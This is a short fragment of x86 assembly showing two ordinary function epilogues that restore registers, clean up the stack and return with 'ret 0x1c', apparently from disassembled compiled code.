pop ebp
pop edi
pop esi
pop ebx
add esp, 0x68
ret 0x1c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x68
ret 0x1c